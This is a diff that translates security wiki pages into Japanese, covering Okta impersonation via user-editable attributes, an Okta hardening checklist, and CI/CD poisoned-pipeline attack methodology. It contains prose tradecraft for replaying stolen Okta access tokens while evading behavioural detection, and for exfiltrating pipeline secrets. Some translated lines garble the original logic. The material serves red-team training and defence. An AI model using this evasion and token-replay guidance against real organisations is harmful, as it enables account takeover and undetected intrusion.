-The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
+**各ユーザーが持ち、変更できる属性**(メールや名前など)はOktaで設定できます。もし**アプリケーション**が、ユーザーが**変更できる**属性をIDとして**信頼している**場合、そのユーザーは**そのプラットフォーム内で他のユーザーをなりすますことができます**。
-Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
+したがって、アプリが**`userName`**フィールドを信頼している場合、通常はそのフィールドを変更できないため(通常はそのフィールドを変更できないため)、例えば**`primaryEmail`**を信頼している場合、同僚のメールアドレスに**変更することができ、なりすますことができます**(メールにアクセスし、変更を承認する必要があります)。
-Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
-Therefore, the app should have this field enabled if it exists:
+このなりすましは、各アプリケーションがどのように設定されているかに依存することに注意してください。変更したフィールドを信頼し、更新を受け入れるアプリケーションのみが侵害されます。\
+したがって、アプリはこのフィールドが存在する場合に有効にする必要があります:
-I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
+他のアプリケーションが脆弱であったが、Okta設定にそのフィールドがなかったのを見たこともあります(最終的に異なるアプリは異なる設定がされています)。
-The best way to find out if you could impersonate anyone on each app would be to try it!
+各アプリで誰かをなりすますことができるかどうかを確認する最良の方法は、試してみることです!
-## Evading behavioural detection policies
+## 行動検出ポリシーの回避
-Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
+Oktaの行動検出ポリシーは遭遇するまで不明な場合がありますが、**それらを回避する**には、**Oktaアプリケーションに直接ターゲットを絞る**ことで、主要なOktaダッシュボードを避けることができます。**Oktaアクセストークン**を使用して、主要なログインページの代わりに**アプリケーション固有のOkta URL**でトークンを再生します。
-Key recommendations include:
+主な推奨事項は以下の通りです:
-- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
-- Ensure **consistent user-agent strings** between the client and replayed access tokens.
-- **Refrain from replaying** tokens from different users from the same IP address.
-- Exercise caution when replaying tokens against the Okta dashboard.
-- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
+- **人気のある匿名プロキシやVPNサービスを使用しない**で、キャプチャしたアクセストークンを再生する際には注意してください。
+- クライアントと再生されたアクセストークンの間で**一貫したユーザーエージェント文字列**を確保してください。
+- **異なるユーザーのトークンを同じIPアドレスから再生しない**でください。
+- Oktaダッシュボードに対してトークンを再生する際には注意してください。
+- 被害者企業のIPアドレスを知っている場合は、**そのIPまたはその範囲にトラフィックを制限し、他のすべてのトラフィックをブロックしてください**。
-## Okta Hardening
+## Oktaの強化
-Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
+Oktaには多くの可能な設定があり、このページではそれらをできるだけ安全にするためのレビュー方法を見つけることができます:
{{#ref}}
okta-hardening.md
{{#endref}}
-## References
+## 参考文献
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index a7dac96a7..cd664fc7d 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,72 +6,72 @@
### People
-From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
+攻撃者の視点から見ると、これは非常に興味深いです。なぜなら、**登録されているすべてのユーザー**、その**メール**アドレス、**所属しているグループ**、**プロフィール**、さらには**デバイス**(モバイルとそのOS)を見ることができるからです。
-For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
+ホワイトボックスレビューでは、**「保留中のユーザーアクション」**や**「パスワードリセット」**が複数存在しないことを確認してください。
### Groups
-This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
-It's possible to see the **people included inside groups** and **apps assigned** to each group.
+ここでは、Oktaで作成されたすべてのグループを見つけることができます。異なるグループ(**権限のセット**)が**ユーザー**に付与される可能性を理解することは興味深いです。\
+**グループに含まれる人々**や**各グループに割り当てられたアプリ**を見ることができます。
-Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
+もちろん、**admin**という名前のグループは興味深いです。特に**Global Administrators**グループを確認し、最も特権のあるメンバーが誰であるかを学んでください。
-From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
+ホワイトボックスレビューでは、**グローバル管理者は5人以下であるべきです**(2人または3人が理想です)。
### Devices
-Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
+ここでは、すべてのユーザーの**デバイスのリスト**を見つけることができます。**アクティブに管理されているかどうか**も確認できます。
### Profile Editor
-Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
+ここでは、名前、姓、メール、ユーザー名などの重要な情報がOktaと他のアプリケーションの間でどのように共有されているかを観察できます。これは興味深いです。なぜなら、ユーザーが**Oktaでフィールドを変更できる**(名前やメールなど)場合、それが**外部アプリケーション**によってユーザーを**識別**するために使用されると、内部者が他のアカウントを**乗っ取る**可能性があるからです。
-Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
+さらに、Oktaのプロフィール**`User (default)`**では、各**ユーザー**が持っている**フィールド**と、ユーザーが**書き込み可能**なフィールドを確認できます。管理パネルが見えない場合は、**プロフィール情報を更新**するために移動し、どのフィールドを更新できるかを確認してください(メールアドレスを更新するには確認が必要です)。
### Directory Integrations
-Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
+ディレクトリは、既存のソースから人々をインポートすることを可能にします。ここでは、他のディレクトリからインポートされたユーザーを見ることができると思います。
-I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
+見たことはありませんが、これは**Oktaがユーザーをインポートするために使用している他のディレクトリ**を見つけるのに興味深いと思います。もしそのディレクトリを**侵害**すれば、Oktaで作成されたユーザーの属性値を設定し、**Okta環境を侵害**する可能性があります。
### Profile Sources
-A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
+プロファイルソースは、ユーザープロファイル属性の**真実のソースとして機能するアプリケーション**です。ユーザーは、一度に1つのアプリケーションまたはディレクトリからのみソースされることができます。
-I haven't seen it, so any information about security and hacking regarding this option is appreciated.
+見たことはありませんが、このオプションに関するセキュリティやハッキングに関する情報は感謝されます。
## Customizations
### Brands
-Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
+このセクションの**Domains**タブで、メールを送信するために使用されるメールアドレスと、会社のOkta内のカスタムドメインを確認してください(おそらくすでに知っているでしょう)。
-Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
+さらに、**Setting**タブでは、管理者であれば**「カスタムサインアウトページを使用する」**を選択し、カスタムURLを設定できます。
### SMS
-Nothing interesting here.
+ここには特に興味深いことはありません。
### End-User Dashboard
-You can find here applications configured, but we will see the details of those later in a different section.
+ここでは、設定されたアプリケーションを見つけることができますが、それらの詳細は後の別のセクションで確認します。
### Other
-Interesting setting, but nothing super interesting from a security point of view.
+興味深い設定ですが、セキュリティの観点からは特に興味深いことはありません。
## Applications
### Applications
-Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
+ここでは、すべての**設定されたアプリケーション**とその詳細を見つけることができます:誰がそれにアクセスできるか、どのように設定されているか(SAML、OpenID)、ログイン用のURL、Oktaとアプリケーション間のマッピング...
-In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
+**`Sign On`**タブには、**`Password reveal`**というフィールドもあり、ユーザーがアプリケーション設定を確認する際に**パスワードを表示**できるようになります。ユーザーパネルからアプリケーションの設定を確認するには、3つのドットをクリックします:
-And you could see some more details about the app (like the password reveal feature, if it's enabled):
+そして、アプリに関する詳細(パスワード表示機能が有効かどうかなど)を確認できます:
@@ -79,125 +79,121 @@ And you could see some more details about the app (like the password reveal feat
### Access Certifications
-Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
+Access Certificationsを使用して、ユーザーのリソースへのアクセスを定期的にレビューし、必要に応じて自動的にアクセスを承認または取り消す監査キャンペーンを作成します。
-I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
+使用されているのを見たことはありませんが、防御的な観点からは良い機能だと思います。
## Security
### General
-- **Security notification emails**: All should be enabled.
-- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
-- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
-- **User enumeration prevention**: Both should be enabled
- - Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- - Self-Service Registration
- - JIT flows with email authentication
-- **Okta ThreatInsight settings**: Log and enforce security based on threat level
+- **セキュリティ通知メール**:すべて有効にするべきです。
+- **CAPTCHA統合**:少なくとも目に見えないreCaptchaを設定することをお勧めします。
+- **組織のセキュリティ**:すべてを有効にでき、アクティベーションメールは長くかかるべきではありません(7日間は適切です)。
+- **ユーザー列挙防止**:両方を有効にするべきです。
+- ユーザー列挙防止は、以下の条件のいずれかが許可されている場合には効果を発揮しません(詳細は[ユーザー管理](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm)を参照してください):
+- セルフサービス登録
+- メール認証を伴うJITフロー
+- **Okta ThreatInsight設定**:脅威レベルに基づいてログを記録し、セキュリティを強化します。
### HealthInsight
-Here is possible to find correctly and **dangerous** configured **settings**.
+ここでは、正しく設定された**設定**と**危険な**設定を見つけることができます。
### Authenticators
-Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
+ここでは、ユーザーが使用できるすべての認証方法を見つけることができます:パスワード、電話、メール、コード、WebAuthn... パスワード認証子をクリックすると、**パスワードポリシー**を見ることができます。強力であることを確認してください。
-In the **Enrollment** tab you can see how the ones that are required or optinal:
+**Enrollment**タブでは、必須またはオプションのものを確認できます:
-It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
+電話を無効にすることをお勧めします。最も強力なのは、おそらくパスワード、メール、WebAuthnの組み合わせです。
### Authentication policies
-Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
+すべてのアプリには認証ポリシーがあります。認証ポリシーは、アプリにサインインしようとするユーザーが特定の条件を満たしていることを確認し、それに基づいて要件を強制します。
-Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
+ここでは、各アプリケーションにアクセスするための**要件**を見つけることができます。各アプリケーションに対して、少なくともパスワードと別の方法を要求することをお勧めします。しかし、攻撃者として、より弱いものを見つけることができれば、それを攻撃することができるかもしれません。
### Global Session Policy
-Here you can find the session policies assigned to different groups. For example:
+ここでは、異なるグループに割り当てられたセッションポリシーを見つけることができます。例えば:
-It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
+MFAを要求し、セッションの有効期限を数時間に制限し、ブラウザ拡張機能を通じてセッションクッキーを持続させず、場所とアイデンティティプロバイダーを制限することをお勧めします(可能であれば)。例えば、すべてのユーザーが特定の国からログインする必要がある場合、その場所のみを許可することができます。
### Identity Providers
-Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
+アイデンティティプロバイダー(IdP)は、**ユーザーアカウントを管理する**サービスです。OktaにIdPを追加すると、エンドユーザーはソーシャルアカウントまたはスマートカードで最初に認証することによって、カスタムアプリケーションに**セルフ登録**できるようになります。
-On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
+アイデンティティプロバイダーのページでは、ソーシャルログイン(IdP)を追加し、インバウンドSAMLを追加することでOktaをサービスプロバイダー(SP)として設定できます。IdPを追加した後、ユーザーの場所、デバイス、またはメールドメインなどのコンテキストに基づいて、ユーザーをIdPに誘導するルールを設定できます。
-**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
+**アイデンティティプロバイダーが構成されている場合**、攻撃者と防御者の視点からその構成を確認し、**ソースが本当に信頼できるかどうか**を確認してください。攻撃者がそれを侵害すれば、Okta環境にもアクセスできる可能性があります。
### Delegated Authentication
-Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
+委任認証により、ユーザーは組織の**Active Directory(AD)またはLDAP**サーバーの資格情報を入力することでOktaにサインインできます。
-Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
+再度確認してください。攻撃者が組織のADを侵害すれば、この設定のおかげでOktaにピボットできる可能性があります。
### Network
-A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
+ネットワークゾーンは、**IPアドレス**に基づいて、組織内のコンピュータやデバイスへのアクセスを**付与または制限する**ために使用できる構成可能な境界です。1つまたは複数の個別のIPアドレス、IPアドレスの範囲、または地理的な場所を指定することでネットワークゾーンを定義できます。
-After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
+1つまたは複数のネットワークゾーンを定義した後、**グローバルセッションポリシー**、**認証ポリシー**、VPN通知、**ルーティングルール**で使用できます。
-From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
+攻撃者の視点からは、許可されているIPを知ることが興味深いです(および、**特権のあるIPが他にあるかどうかを確認**)。攻撃者の視点から、ユーザーが特定のIPアドレスまたは地域からアクセスする必要がある場合、この機能が適切に使用されているかを確認してください。
### Device Integrations
-- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- - I haven't seen this used yet. TODO
-- **Notification services**: I haven't seen this used yet. TODO
+- **エンドポイント管理**:エンドポイント管理は、管理されたデバイスがアプリケーションにアクセスできることを保証するために、認証ポリシーに適用できる条件です。
+- まだこれが使用されているのを見たことはありません。TODO
+- **通知サービス**:まだこれが使用されているのを見たことはありません。TODO
### API
-You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
+このページでOkta APIトークンを作成し、**作成された**トークン、**権限**、**有効期限**、および**Origin URLs**を確認できます。APIトークンは、トークンを作成したユーザーの権限で生成され、トークンを作成した**ユーザー**が**アクティブ**である場合にのみ有効です。
-The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
+**Trusted Origins**は、あなたが制御し信頼するウェブサイトがOkta APIを通じてあなたのOkta組織にアクセスすることを許可します。
-There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
+APIトークンはあまり多くないべきです。なぜなら、トークンが多すぎると、攻撃者がそれにアクセスし、使用しようとする可能性があるからです。
## Workflow
### Automations
-Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
+自動化により、エンドユーザーのライフサイクル中に発生する一連のトリガー条件に基づいて実行される自動アクションを作成できます。
-For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
+例えば、条件は「Oktaでのユーザーの非アクティブ状態」や「Oktaでのユーザーパスワードの有効期限切れ」で、アクションは「ユーザーにメールを送信」または「Oktaでのユーザーライフサイクル状態を変更」などです。
## Reports
### Reports
-Download logs. They are **sent** to the **email address** of the current account.
+ログをダウンロードします。これらは現在のアカウントの**メールアドレス**に**送信**されます。
### System Log
-Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
+ここでは、ユーザーによって実行された**アクションのログ**を見つけることができ、OktaやOktaを通じてアプリケーションにログインする際の詳細が多く含まれています。
### Import Monitoring
-This can **import logs from the other platforms** accessed with Okta.
+これは、Oktaでアクセスされた他のプラットフォームから**ログをインポート**できます。
### Rate limits
-Check the API rate limits reached.
+到達したAPIレート制限を確認します。
## Settings
### Account
-Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
+ここでは、会社名、住所、**メール請求連絡先**、**メール技術連絡先**、およびOktaの更新を受け取るべき人とどのような種類のOktaの更新があるかについての**一般的な情報**を見つけることができます。
### Downloads
-Here you can download Okta agents to sync Okta with other technologies.
+ここでは、他の技術とOktaを同期するためのOktaエージェントをダウンロードできます。
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 41899af04..131b0efe2 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -6,103 +6,99 @@
## VCS
-VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
+VCSは**Version Control System**の略で、このシステムは開発者が**ソースコードを管理する**ことを可能にします。最も一般的なものは**git**で、通常、企業は以下の**プラットフォーム**のいずれかで使用しています:
- Github
- Gitlab
- Bitbucket
- Gitea
-- Cloud providers (they offer their own VCS platforms)
+- クラウドプロバイダー(独自のVCSプラットフォームを提供)
## CI/CD Pipelines
-CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
+CI/CDパイプラインは、開発者が**コードの実行を自動化する**ことを可能にし、アプリケーションのビルド、テスト、デプロイなどのさまざまな目的に使用されます。これらの自動化されたワークフローは、コードのプッシュ、プルリクエスト、またはスケジュールされたタスクなどの**特定のアクションによってトリガーされます**。これにより、開発から本番環境へのプロセスが効率化されます。
-However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
+ただし、これらのシステムは**どこかで実行される必要があり、通常はコードをデプロイしたり、機密情報にアクセスするための**特権資格情報が必要です。
## VCS Pentesting Methodology
> [!NOTE]
-> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
+> 一部のVCSプラットフォームがこのセクションのためにパイプラインを作成することを許可している場合でも、ここではソースコードの制御に対する潜在的な攻撃のみを分析します。
-Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
+プロジェクトのソースコードを含むプラットフォームは機密情報を含んでおり、人々はこのプラットフォーム内で付与された権限に非常に注意する必要があります。攻撃者が悪用できるVCSプラットフォーム全体での一般的な問題は以下の通りです:
-- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
-- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- - **Register**: Some platforms will just allow external users to create an account.
- - **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- - **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
-- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- - If no secret is in place, the attacker could abuse the webhook of the third party platform
- - If the secret is in the URL, the same happens and the attacker also have the secret
-- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- - Compromise the main branch to **compromise production**.
- - Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- - **Compromise the pipeline** (check next section)
+- **漏洩**:コードにコミット内の漏洩が含まれており、攻撃者がリポジトリにアクセスできる場合(公開されているか、アクセス権を持っている場合)、漏洩を発見する可能性があります。
+- **アクセス**:攻撃者が**VCSプラットフォーム内のアカウントにアクセスできる場合**、**より多くの可視性と権限を得ることができます**。
+- **登録**:一部のプラットフォームでは、外部ユーザーがアカウントを作成することを許可します。
+- **SSO**:一部のプラットフォームでは、ユーザーが登録することを許可しませんが、有効なSSOでアクセスすることを許可します(したがって、攻撃者は例えば自分のgithubアカウントを使用して入ることができます)。
+- **資格情報**:ユーザー名+パスワード、個人トークン、sshキー、Oauthトークン、クッキー... ユーザーがリポジトリにアクセスするために盗むことができるさまざまな種類のトークンがあります。
+- **Webhooks**:VCSプラットフォームはwebhookを生成することを許可します。これらが**見えない秘密で保護されていない場合、**攻撃者がそれを**悪用する可能性があります**。
+- 秘密が設定されていない場合、攻撃者はサードパーティプラットフォームのwebhookを悪用する可能性があります。
+- 秘密がURLに含まれている場合、同様のことが起こり、攻撃者も秘密を持っています。
+- **コードの妥協**:悪意のある行為者がリポジトリに対して何らかの**書き込み**アクセスを持っている場合、**悪意のあるコードを注入しようとする可能性があります**。成功するためには、**ブランチ保護を回避する**必要があるかもしれません。これらの行動は、さまざまな目標を持って実行される可能性があります:
+- メインブランチを妥協して**本番環境を妥協する**。
+- メイン(または他のブランチ)を妥協して**開発者のマシンを妥協する**(通常、彼らは自分のマシンでテスト、terraform、または他のことを実行します)。
+- **パイプラインを妥協する**(次のセクションを確認)。
## Pipelines Pentesting Methodology
-The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
-These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
+パイプラインを定義する最も一般的な方法は、**リポジトリにホストされたCI構成ファイルを使用すること**です。このファイルは、実行されるジョブの順序、フローに影響を与える条件、およびビルド環境の設定を説明します。\
+これらのファイルは通常、一貫した名前と形式を持ちます。例えば、Jenkinsfile(Jenkins)、.gitlab-ci.yml(GitLab)、.circleci/config.yml(CircleCI)、および.github/workflowsの下にあるGitHub Actions YAMLファイルです。トリガーされると、パイプラインジョブは**選択されたソースからコードをプルし**、そのコードに対して**CI構成ファイルに指定されたコマンドを実行します**。
-Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
+したがって、攻撃者の最終的な目標は、何らかの方法で**これらの構成ファイル**または**それらが実行するコマンドを妥協する**ことです。
### PPE - Poisoned Pipeline Execution
-The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
+Poisoned Pipeline Execution(PPE)パスは、SCMリポジトリ内の権限を悪用してCIパイプラインを操作し、有害なコマンドを実行します。必要な権限を持つユーザーは、CI構成ファイルやパイプラインジョブで使用される他のファイルを変更して悪意のあるコマンドを含めることができます。これにより、CIパイプラインが「毒され」、これらの悪意のあるコマンドが実行されます。
-For a malicious actor to be successful performing a PPE attack he needs to be able to:
+悪意のある行為者がPPE攻撃を成功させるためには、以下のことができる必要があります:
-- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- - Note that sometimes an **external PR count as "write access"**.
-- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- - For this, he might need to be able to **bypass branch protections**.
+- **VCSプラットフォームへの書き込みアクセスを持つ**必要があります。通常、パイプラインはプッシュまたはプルリクエストが行われたときにトリガーされます。(アクセスを得る方法の概要についてはVCSペンテスティング方法論を確認してください)。
+- 時には**外部PRが「書き込みアクセス」としてカウントされる**ことに注意してください。
+- 書き込み権限があっても、**CI構成ファイルや構成が依存している他のファイルを変更できることを確認する必要があります**。
+- これには、**ブランチ保護を回避する**必要があるかもしれません。
-There are 3 PPE flavours:
+PPEには3つのフレーバーがあります:
-- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
-- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
-- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- - **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
+- **D-PPE**:**直接PPE**攻撃は、行為者が**実行されるCI構成**ファイルを**変更する**ときに発生します。
+- **I-DDE**:**間接PPE**攻撃は、行為者が**実行されるCI構成ファイルが依存している**ファイル(makeファイルやterraform構成など)を**変更する**ときに発生します。
+- **Public PPEまたは3PE**:場合によっては、パイプラインは**リポジトリに書き込みアクセスを持たないユーザーによってトリガーされる**ことがあります(そしてそれらは組織の一部でないかもしれません)なぜなら、彼らはPRを送信できるからです。
+- **3PEコマンドインジェクション**:通常、CI/CDパイプラインは**PRに関する情報で**環境変数を**設定します**。その値が攻撃者によって制御でき(PRのタイトルのように)、**危険な場所で使用される**場合(例えば**shコマンドを実行する**)、攻撃者は**そこにコマンドを注入する**可能性があります。
### Exploitation Benefits
-Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
+パイプラインを毒するための3つのフレーバーを知った上で、攻撃者が成功した悪用の後に何を得ることができるかを確認しましょう:
-- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- - Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
-- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- - **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- - **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- - **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- - **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
-- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
+- **秘密**:前述のように、パイプラインはそのジョブに**特権**を必要とします(コードを取得し、ビルドし、デプロイする...)これらの特権は通常**秘密に付与されます**。これらの秘密は通常、**環境変数やシステム内のファイルを介してアクセス可能です**。したがって、攻撃者は常にできるだけ多くの秘密を流出させようとします。
+- パイプラインプラットフォームによっては、攻撃者が**構成内で秘密を指定する必要がある**かもしれません。これは、攻撃者がCI構成パイプラインを変更できない場合(例えば**I-PPE**)、彼が**そのパイプラインが持つ秘密のみを流出させることができる**ことを意味します。
+- **計算**:コードはどこかで実行され、実行される場所によっては、攻撃者がさらにピボットできるかもしれません。
+- **オンプレミス**:パイプラインがオンプレミスで実行される場合、攻撃者は**より多くのリソースにアクセスできる内部ネットワークに到達する可能性があります**。
+- **クラウド**:攻撃者は**クラウド内の他のマシンにアクセスする**ことができるだけでなく、**IAMロール/サービスアカウントのトークンを流出させる**こともでき、**クラウド内でさらにアクセスを得る**ことができます。
+- **プラットフォームマシン**:時には、ジョブが**パイプラインプラットフォームマシン内で実行される**ことがあり、通常は**他のアクセスがない**クラウド内にあります。
+- **選択する**:時には、**パイプラインプラットフォームが複数のマシンを構成している**ことがあり、CI構成ファイルを**変更できれば、悪意のあるコードを実行したい場所を指定できます**。この状況では、攻撃者はおそらく各可能なマシンでリバースシェルを実行して、さらに悪用しようとするでしょう。
+- **本番環境を妥協する**:パイプライン内にいて、最終バージョンがそこからビルドされてデプロイされる場合、**本番環境で実行されるコードを妥協する**ことができます。
## More relevant info
### Tools & CIS Benchmark
